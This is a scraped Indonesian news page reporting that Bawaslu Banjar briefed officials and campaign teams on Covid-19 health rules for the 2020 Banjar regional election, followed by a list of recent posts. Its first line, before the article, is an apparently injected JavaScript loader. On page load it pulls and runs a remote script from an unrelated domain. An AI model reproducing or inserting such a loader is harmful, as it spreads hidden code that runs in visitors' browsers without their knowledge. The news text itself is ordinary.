(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJAR

Cegah Klaster Covid-19 di Pilkada Banjar, Bawaslu Ingatkan Paslon Taati Aturan Main!


KANALKALIMANTAN.COM,MARTAPURA – Mencegah munculnya kluster Covid-19 di Pilkada, Bawaslu Banjar mengundang sejumlah pihak guna mensosialisasi sejumlah aturan hukum pelaksanaan Pilkada di masa Covid-19, di Tree Park Hotel, Selasa (6/10/2020).

Aacara dihadiri mulai Satpol PP, Kejaksaan Negeri Banjar, Polres Banjar, Kodim 1006/ Martapura, Kesbangpol, mahasiswa, hingga perwakilan tim pemenangan Paslon Pilkada Banjar.

Ketua Bawaslu Banjar Fajeri Tamjidillah, mengatakan, rapat sosialisasi ini adalah membahas aturan yang berlaku terkait penegakan disiplin protokol kesehatan di Pilkada 2020. Harapannya, peserta yang hadir juga bisa mensosialisasikan ke masyarkat dan paslon.

Sejumlah landasan hukum terkait pelaksanaan Pilkada di masa Covid-19 berpedoman pada Perbup Banjar Nomor 10 Tahun 2020, Peraturan Komisi Pemilihan Umum (PKPU) 13 Tahun 2020, Perturan Badan Pengawas Pemilu (Perbawaslu) 8 Tahun 2020, yang mengatur penerapan protokol kesehatan di pandemi covid 19.

“Harus disadari Pilkada tahun 2020 ini selain mengutamakan kepengawasan juga mengutamakan kesehatan bagi peserta Pilkada, pelaksana dan masyarakat,” katanya.

Divisi Hukum, Humas dan Data Informasi Bawaslu Rizki Wijaya menambahkan, sosilisasi ini harapannya dapat memahami mengenai regulasi Peraturan Badan Pengawas Pemilu terkait pengawasan tahapan Pilkada saat pandemi Covid-19.

“Apabila melanggar dalam peraturan yang sudah ditetapkan, Paslon akan diberikan sanksi mulai peringatan tertulis hingga pembubaran kampanye,” tambahnya. Ia juga menuturkan, saat ini para Paslon sudah memberikan komunikasi terkait jadwal pelaksanan kampanye.

Di sisi lain, Juru Bicara Gugus Tugas Percepatan Penanganan Covid-19 Kab. Banjar dr Diaudin mengatakan, pentingnya kedisipilinan protokol kesehatandi Pilkada.

“Pilkada tengah Pandemi covid-19 harus mematuhi Protokol Kesehatan covid-19, agar tidak terjadi kluster penyebaran Covid-19 di Pilkada,” terangnya.(Kanalkalimantan.com/putra)

 

Reporter: Putra
Editor: Cell


Desy Arfianty

Recent Posts

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

5 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

5 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

6 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

17 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

17 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

18 jam ago

This website uses cookies.